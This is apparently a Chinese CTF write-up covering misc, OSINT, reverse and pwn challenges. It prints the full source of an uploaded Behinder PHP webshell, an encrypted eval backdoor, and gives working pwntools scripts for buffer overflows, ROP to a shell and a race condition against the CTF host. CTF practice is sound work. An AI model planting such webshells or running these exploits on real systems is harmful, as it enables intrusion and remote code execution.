bkcrack -C Congratulations.zip -k 733236fb 6652cac7 8542e0e2 -U new_flag.zip 123456

image-20251012111455539

4458e940b799c5419ac8fbceac043ac5

最后解压txt文件,在最下边找到flag

flag{pl34s3_s4f3gu4rd_y0ur_r3c0v3r3d_c5im_d4t4}

[Week2] 破碎的拼图

steghide解密,得到一个压缩包

steghide extract -sf image.jpg -p ?CTF

接着将三个压缩包重命名

image-20251012103354381

解压得到flag.doc,打开得到flag

flag{br0k3n_p1eces_r3a553mb13d_7h3_puzz13}

[Week2] 布豪有黑客(二)

找到上传的木马

<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>

显然是冰蝎马

找到加密的命令

cd / ;openssl enc -des3 -salt -k W3lc0me2m1sc -in /flag -out /xp/www/week2/uploads/flag_decrypted.zip

解密文件

openssl enc -d -des3 -salt -k W3lc0me2m1sc -in ./flag_decrypted.zip -out ./flag.txt

得到flag

flag{1z_Beh1nd3r_Web5he1L_Ne7w0rk_Tr4ff1c}

[Week2] 文化木的侦探委托(二)

pngcheck可以看到文件尾部存在异常块

pngcheck.win32.exe -v Blind2.png

image-20251012113648882

提取出尾部的异常块,并补齐图片头,得到和原图一样的图片

接着盲水印隐写

image-20251012180358223

根据题目的描述

(注:flag内为可识别的明文,仅首个单词的首字母大写,以flag{}包裹)

连猜带蒙得到flag

flag{W@tch_underw@ter}

Osint

[Week1] Task 1. 见面地点

图片有GPS

34 deg 46' 18.33" N, 113 deg 43' 14.42" E

转一下

34.771758, 113.720672

GPS搜地址

https://gaode.com/regeo?lng=113.720672&lat=34.771758

搜周边地铁站即可

flag{1_4_HuiZhanZhongXin}

[Week2] Task 2. 方块世界?!

找到仓库

https://codeberg.org/what_is_the_flag/what-ctf-world/src/branch/main/level/_CTF%E4%B8%96%E7%95%8C.world

找到类似base64的码表

M-ZA-Ln-za-m1-90+/=

image-20251012194121585

找到几段类似base64的东西

LZk6L4G1qI6hrH0J
YTUkLR9jLyOPn0a7
KIqwq4VmJ2D1s7Zs
0doSDzQkpmYusC==

zkuL4gSq
10PnQNl
Y1Y4Vm
DlqFZs
o4VsDzQ

接着下载游戏去游玩

image-20251012215305041

找到flag了

LzkuL4gSqI6hrH0J
YTUkLR9jLy0PnQNl
KIY1Y4VmJ2DlqFZs
o4VsDzQkpmYusC==

base64解码得到flag

flag{Funny_W0r1d_0f_Ch@rac43rs_Tru3_or_Fa1s3!}

image-20251012215556187

Re

[Week1] 8086ASM

AI一把梭

image-20251005004905613

flag{W31c0m3_t0_8086_A5M_W0RlD___!!}

[Week1] PlzDebugMe

静态分析得到flag

可以直到这里做了异或,异或的key由 sub_401656函数生成,dword_415080的初始值为123456

exp

#include <windows.h>
#include <stdio.h>
#include <iostream>

using namespace std;

int dword_415080 = 123456;
unsigned char enc[32] =
{
0x5B, 0x50, 0xA1, 0x25, 0x84, 0x8E, 0x61, 0xC4, 0x6B, 0xBB,
0xAE, 0x05, 0x0B, 0xC6, 0x3D, 0x42, 0x5A, 0xFB, 0xC1, 0xC9,
0x4E, 0xE9, 0x8D, 0x50, 0x91, 0x87, 0x87, 0x24, 0xAD, 0xAF,
0xD5, 0x36
};
unsigned int sub_401656()
{
dword_415080 = 1103515245 * dword_415080 + 12345;
return HIWORD(dword_415080) & 0x7FFF;
}

int main(){

for(int i=0;i<32;i++){
cout << char(sub_401656()^enc[i]);
}
return 0;
}

[Week1] ezCSharp

dnspy反编译

image-20251005010038155

显然是小写字母凯撒1

exp

enc = b'D1ucj0u!tqjwf!fohjoffsjoh!xj!epspqz!ju!gvo!2025'
enc = enc.replace(b'!',b'_')
lists = b'bcdefghijklmnopqrstuvwxyz'
lists = {i:i-1 for i in lists}
lists[b'a'] = b'z'

res = []
for i in enc:
if i in lists:
res += [lists[i]]
else:
res += [i]

# print(bytes(res))
print(f'flag{{{bytes(res).decode()}}}')
# flag{D1tbi0t_spive_engineering_wi_doropy_it_fun_2025}

[Week1] jvav

看到加密部分

image-20251005011338834

根据逻辑逆向

exp

package org.example;

import java.util.Base64;

public class Main {
public static void main(String[] args) {
decode();
}
public static void decode(){
byte[] enc = {-89, 96, 102, 118, -89, -122, 103, -103, -125, -95, 114, 117, -116, -102, 114, -115, -125, 108, 110, 118, -91, -83, 101, -115, -116, -114, 124, 114, -123, -87, -87, -114, 121, 108, 124, -114};
int length = enc.length;
byte[] bArr = new byte[length];
for (int i = 0; i < length; i++) {
bArr[i] = enc[(i - 5 + length) % enc.length];
}
for (int i = 0; i < length; i++) {
bArr[i] = (byte)(((~bArr[i])^11)-32);
}
byte[] data = Base64.getDecoder().decode(bArr);
System.out.println(new String(data));
}
}
// flag{kotl1n_is_also_java}

[Week1] ezCalculate

根据代码逻辑,反过来运算即可

image-20251005012949313

exp

key = b'wwqessgxsddkaao123wms'
answer=[
0x33, 0x1D, 0x32, 0x44, 0x2A, 0x54, 0x45, 0x2C, 0x2E, 0x74,
0x8C, 0x4B, 0x40, 0x42, 0x43, 0x73, 0x71, 0x82, 0x24, 0x35,
0x10]
res = []
for i in range(21):
res += [((answer[i]+key[i%len(key)])^key[i%len(key)])-key[i%len(key)]]

print(bytes(res))
# b'flag{Add_X0r_and_Sub}'

[Week1] rand

伪随机,种子固定,逆向即可

AI梭了

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


unsigned char target_data[27] = {
0x5A, 0x66, 0x86, 0xCE, 0x46, 0x23, 0x75, 0x30, 0x18, 0x6F,
0x5B, 0x7D, 0x4D, 0x4F, 0xF7, 0xC4, 0x4A, 0x0D, 0x45, 0xAE,
0x36, 0xEF, 0x6B, 0x81, 0xC1, 0x82, 0x03
};

// 保存洗牌时使用的随机索引,用于逆向操作
typedef struct {
int idx1;
int idx2;
} SwapRecord;

SwapRecord swap_records[256];

// 生成与原程序相同的随机数序列并记录洗牌操作
void generate_swap_records(size_t len) {
for (int i = 0; i < 256; i++) {
int v5 = rand() % len;
int v6 = rand();
int v8 = v6 % len;
swap_records[i].idx1 = v5;
swap_records[i].idx2 = v8;
}
}

// 生成与原程序相同的异或密钥序列
void generate_xor_keys(unsigned int *keys, size_t len) {
for (size_t i = 0; i < len; i++) {
keys[i] = rand();
}
}

// 逆向洗牌操作
void reverse_shuffle(unsigned char *data, size_t len) {
// 反向执行洗牌步骤
for (int i = 255; i >= 0; i--) {
int idx1 = swap_records[i].idx1;
int idx2 = swap_records[i].idx2;

// 交换两个位置的字符(与加密时相同的操作,因为交换是可逆的)
unsigned char temp = data[idx1];
data[idx1] = data[idx2];
data[idx2] = temp;
}
}

int main() {
size_t len = 27;
unsigned char decrypted[28] = {0};
unsigned int xor_keys[27];

memcpy(decrypted, target_data, len);
srand(0x3039u);
generate_swap_records(len);
generate_xor_keys(xor_keys, len);

for (size_t i = 0; i < len; i++) {
decrypted[i] ^= (xor_keys[i] & 0xFF);
}

reverse_shuffle(decrypted, len);

printf("flag: %s\n", decrypted);

return 0;
}

[Week2] CPPReverse

逆向可以知道,先反转再加密,最后再反转一次

image-20251013022635229

接着是加密逻辑

image-20251013022656541

逆向一下得到flag

exp

pre_enc = 'EE1A9B5AFA59AF28DE5D594F8FB990B1D1345590'[::-1]
enc = bytes.fromhex(pre_enc)

def decode(data):
res = [0]*len(data)
for i in range(len(data)-1,-1,-1):
tmp = data[i]
if i>0:
tmp ^= (data[i-1]-1)
if (i % 2)==0:
tmp ^= 7
tmp -= i+7
tmp = tmp&0xff
res[i] = tmp
return bytes(res)

print(f'flag{{{decode(enc).hex().upper()[::-1]}}}')

# flag{4350505F526576657253655F4578705F55705570}

[Week2] Pyc

pyinstxtractor解压,然后反编译

print('Ciallo~')
print('Plz input your flag~')
flag = input()
flag_list = list(flag)
for i in range(len(flag_list)):
a = flag_list[i]
if 'a' <= a <= 'z':
a = ord(a)
a = (a - 12) * 2 + 6
else:
if 'A' <= a <= 'Z':
a = ord(a)
a = (a + 6) * 3 + 9
else:
a = ord(a)
a = a + 11
flag_list[i] = chr(a)
else:
flag = ''.join(flag_list)
hex_flag = ','.join([hex(ord(c)) for c in flag])
data = '0xba,0xc6,0xb0,0xbc,0x86,0x10b,0x126,0xe4,0x6a,0xc0,0x40,0x6a,0xda,0x3f,0xd2,0xe0,0x6a,0xb8,0x3f,0xd4,0xe0,0x89,0x88'
if data != hex_flag:
print('wrong~')
else:
print('great~')

exp

enc = [0xba,0xc6,0xb0,0xbc,0x86,0x10b,0x126,0xe4,0x6a,0xc0,0x40,0x6a,0xda,0x3f,0xd2,0xe0,0x6a,0xb8,0x3f,0xd4,0xe0,0x89,0x88]

dict = {}


for i in range(ord('a'),ord('z')+1,1):
tmp = (i - 12) * 2 + 6
dict[tmp] = chr(i)

for i in range(ord('A'),ord('Z')+1,1):
tmp = (i + 6) * 3 + 9
dict[tmp] = chr(i)

flag = ''

for i in enc:
if i in dict:
flag += dict[i]
else:
flag += chr(i-11)

print(flag)
# flag{PYC_i5_v4ry_e4sy~}

[Week2] Do you like to drink Tea?

简单的魔改tea

image-20251013142436381

exp

#include <stdio.h>
#include <stdint.h>
void decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], i;
uint32_t delta=-1640531527,sum=delta*32;
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];
for (i=0; i<32; i++) {
sum -= delta;
v1 += ((v0<<6) + k2) ^ (v0 + sum + 20) ^ ((v0>>9) + k3);
v0 += ((v1<<6) + k0) ^ (v1 + sum + 11) ^ ((v1>>9) + k1);
}
v[0]=v0; v[1]=v1;
}

int main()
{
uint32_t k[4]={305419896,-1412567295,289739801,421101825};
uint32_t v4[8]={0};
v4[0] = -262322456;
v4[1] = 1199964143;
v4[2] = -201212030;
v4[3] = -436419062;
v4[4] = -1099955107;
v4[5] = 544769843;
v4[6] = -1824808087;
for(int i=5;i>=0;i--){
decrypt(&v4[i], k);
}

printf("解密后的数据:%s\n",(char*)v4);
return 0;
}


[Week2] UPX

找一个正常UPX压缩的程序,通过对比,将这几个地方改一下

image-20251013143232064

image-20251013143354489

接着就能正常UPX解压了

image-20251013143447832

简单的移位

enc = 'fkyd{YNek_SD_AB@ars_OKT}'
flag = []

for i in range(len(enc)):
if ord(enc[i]) > 64 and ord(enc[i]) <= 90:
flag += [(ord(enc[i]) - 65 - i + 26) % 26 + 65]
elif ord(enc[i]) > 96 and ord(enc[i]) <= 122:
flag += [(ord(enc[i]) - 97 + i + 26) % 26 + 97]
else:
flag += [ord(enc[i])]

print(bytes(flag))
# flag{THls_IS_NN@qik_UPX}

[Week2] base

跑样例得到码表

image-20251013144557428

base58解码得到base64的码表

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/

image-20251013144643631

接着找到类似base64的字符串,解码得到flag

image-20251013144719067

[Week2] rc4

魔改rc4,比正常的rc4多了一步按位异或

image-20251014154234088

exp

from Crypto.Cipher import ARC4
import base64


def rc4_decrypt(data, key1):
enc = ARC4.new(key)
tmp = enc.decrypt(data)
res = []
for i in range(len(tmp)):
res += [tmp[i]^i]
return bytes(res)

enc = ['D6DB345DC17A5FF7','68DAE1DE2D75D82F','F907EACE4A9B57E0','f95e795e']

encrypt_data = b''
for i in enc:
encrypt_data += bytes.fromhex(i)[::-1]

key = '3443526868686F'
key = bytes.fromhex(key)[::-1]

print('解密后:',rc4_decrypt(encrypt_data, key))
# 解密后: b'flag{S0NNE_Rc4_l$_c13@nged}\xbc'

[Week2] 螺旋密码机

.apk改成.zip后缀,解压后反编译libnative-lib.so,可以看到decryptFlag函数

这个函数就一个异或,使用flag头反推出异或的key是136

__int64 __fastcall decryptFlag(const unsigned __int8 *a1, char *a2, char a3, char a4)
{
bool v5; // [rsp+Fh] [rbp-21h]
int i; // [rsp+10h] [rbp-20h]
unsigned __int8 v7; // [rsp+15h] [rbp-1Bh]

v7 = a4 ^ a3 ^ 0x42;
__android_log_print(4LL, "FibValidator", asc_17287, 66LL, (unsigned __int8)(a4 ^ a3), v7);
for ( i = 0; ; ++i )
{
v5 = 0;
if ( i < 31 )
v5 = a1[i] != 0;
if ( !v5 )
break;
a2[i] = v7 ^ a1[i];
}
a2[i] = 0;
return __android_log_print(4LL, "FibValidator", asc_16CA2, (unsigned int)i);
}

unsigned char ida_chars[] =
{
0xEE, 0xE4, 0xE9, 0xEF, 0xF3, 0xCC, 0xF1, 0xE6, 0xBC, 0xE5,
0xB9, 0xEB, 0xD7, 0xC4, 0xB8, 0xBC, 0xEC, 0xBB, 0xFA, 0xD7,
0xC5, 0xBC, 0xFB, 0xFC, 0xBB, 0xFA, 0xF5, 0x00, 0x00, 0x00,
0x00, 0x00
};

exp

enc =[0xEE, 0xE4, 0xE9, 0xEF, 0xF3, 0xCC, 0xF1, 0xE6, 0xBC, 0xE5, 
0xB9, 0xEB, 0xD7, 0xC4, 0xB8, 0xBC, 0xEC, 0xBB, 0xFA, 0xD7,
0xC5, 0xBC, 0xFB, 0xFC, 0xBB, 0xFA, 0xF5, 0x00, 0x00, 0x00,
0x00, 0x00]
flag = []
for i in enc:
flag += [i^136]

print(bytes(flag))
# b'flag{Dyn4m1c_L04d3r_M4st3r}\x88\x88\x88\x88\x88'

[Week2] flowers

手动去花,然后按p看到main函数

image-20251014171306203

接着给enc函数去花

image-20251014173452047

显然是一个tea

exp

#include <stdio.h>
#include <stdint.h>
void decrypt (uint32_t* v, uint32_t* k) {
uint32_t v0=v[0], v1=v[1], i;
uint32_t delta=1131796,sum=delta*32;
uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3];
for (i=0; i<32; i++) {
v1 -= ((v0<<4) + k2) ^ (v0 + sum) ^ ((v0>>5) + k3);
sum -= delta;
v0 -= ((v1<<4) + k0) ^ (v1 + sum) ^ ((v1>>5) + k1);
}
v[0]=v0; v[1]=v1;
}

int main()
{
uint32_t v4[6];
uint32_t k[4]={0x1234567,0x89ABCDEF,0xFEDCBA98,0x76543210};

v4[0] = 0x47A215A5;
v4[1] = 0x0DB8F1C31;
v4[2] = 0x916ABF13;
v4[3] = 0x0DE25122F;
v4[4] = 0x66F52649;
v4[5] = 0x4E9B0E55;

uint32_t v5[2];
v5[0] = 0x916ABF13;
v5[1] = 0x0DE25122F;
for(int i=0;i<6;i+=2){
decrypt(&v4[i], k);
}

printf("解密后的数据:%s\n",(char*)v4);
return 0;
}
//输出的结果:flag{aCupOf_FlowerTea}

Pwn

[Week1] No vuln

条件竞争

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

# sh1 = process('./112538_NoVuln')
# sh2 = process('./112538_NoVuln')
sh1 = remote('challenge.ilovectf.cn', 30498)
sh2 = remote('challenge.ilovectf.cn', 30498)

sh1.sendline('W'*0x100)
sh2.sendline('R'*0x100)
sh1.close()


sh2.interactive()

[Week1] count

写脚本做计算题

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

# challenge.ilovectf.cn:30502
sh = remote('challenge.ilovectf.cn', 30502)

sh.recvuntil('\n')
sh.recvuntil('\n')
sh.sendline(str(2025*2025))
sh.recvuntil('ready?\n')


for i in range(20):
data = sh.recvuntil('?')
data = data.replace(b'?',b'')
data = data.replace(b'=',b'')
res = eval(data)
sh.sendline(hex(res))
sh.recvuntil('\n')


sh.interactive()

[Week1] ncncnc

输入$0获得新的shell,绕过过滤

[Week1] 勇者救公主

gdb命令的使用,很好玩

i r
x/1x 0x402100
b 0x404000
step
i r
step
step
step
x/4x $rsp
disas 0x406000
set $rbx=0x42
x/4x 0x409100
x/1x 0x0000000000409200
p system



answer 0x7fffffffe000
answer 0x00000000deadbeef
answer 0x1337
answer 0x40400c
answer 0x00000000abcdef00
answer 55
answer 0x42
answer 5
answer 0x0000000088888888
answer 0x7ffff7e50000

[Week1] 危险的 gets

ret2text

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

# challenge.ilovectf.cn:30548
sh = remote('challenge.ilovectf.cn', 30548)

p = b'a'*(64+8) + p64(0x4011BE)
sh.sendline(p)

sh.interactive()

[Week1] 幸运星

伪随机数,种子为当前时间

from pwn import *
from ctypes import *

context(os='linux', arch='amd64', log_level='debug')

libc = cdll.LoadLibrary('libc.so.6')
# sh = process('./pwn')
# challenge.ilovectf.cn:30564
sh = remote('challenge.ilovectf.cn', 30564)

libc.srand(libc.time(0))

for i in range(50):
tmp = libc.rand()% 53 + 7
sh.sendlineafter(':',str(tmp))

sh.interactive()

[Week2] bird

canary+ret2text,canary是自定义的

exp

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

# sh = process('./pwn')
# gdb.attach(sh, 'b* 0x4014A9')
# challenge.ilovectf.cn:30153
sh = remote('challenge.ilovectf.cn', 30153)

ca = b'aaaaaaa\n'

sh.sendafter('Input:',ca)

backdoor = 0x40121C
p = b'a'*(0x70-8) + ca +p64(0)+ p64(backdoor)
sh.sendafter('Overflow input>',p)

sh.interactive()

[Week2] stackoverflow

power==1时,存在更大的栈溢出

image-20251012231659553

system/bin/sh分开,使用ROP链调用即可

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

# sh = process('./pwwn')
# gdb.attach(sh, 'b* 0x40156B')
# challenge.ilovectf.cn:30182
sh = remote('challenge.ilovectf.cn', 30182)


pop_rdi_ret_addr = 0x0000000000401332
ret_addr = 0x000000000040101a
system = 0x40132D
bin_sh = 0x4035C8

sh.sendlineafter('>>','1')
sh.sendlineafter('>>','No')

# p = b'a'*(0x130+7) + p64(ret_addr) +p64(pop_rdi_ret_addr) + p64(bin_sh) + p64(system)

p = b'a'*(0x10+8+3) +p64(pop_rdi_ret_addr) + p64(bin_sh) + p64(system)


sh.sendlineafter('>>',p)

sh.interactive()

[Week2] where are my addr

泄露了main地址,因此可以计算出程序的基地址,从而得到backdoor的真实地址

注意栈对齐

image-20251012232001358

from pwn import *

context(os='linux', arch='amd64', log_level='debug')

# sh = process('./pwn')
# gdb.attach(sh, 'b* $(rebase)+0x1264')
# challenge.ilovectf.cn:30204
sh = remote('challenge.ilovectf.cn', 30204)

backdoor = 0x11C9
ret_addr = 0x11E2

sh.recvuntil('0x')
main_addr = int(sh.recvuntil('\n'),16)

backdoor = main_addr - 0x126C + backdoor
ret_addr = main_addr - 0x126C + ret_addr

p = b'a'*(64+8) + p64(ret_addr) + p64(backdoor)

sh.sendline(p)

sh.interactive()

[Week2] 神圣术

syscall的了解

输入system call list

0: read    args: fd, buf, count
1: write args: fd, buf, count
2: open args: filename, flags, mode
3: close args: fd
......
59: execve args: filename, argv, envp
60: exit args: error_code
......

输入system call find

krito@underworld:~$ system call find
There are some strings:
/bin/sh : 0x558d25801010
cat ./flag : 0x558d25801018
./flag : 0x558d25801023
There is also a big zone: 0x558d2668a2a0

syscall调用execve执行系统命令

这里存在一个坑点,所有的参数都是十进制数字

system call 59 94786769080336 0 0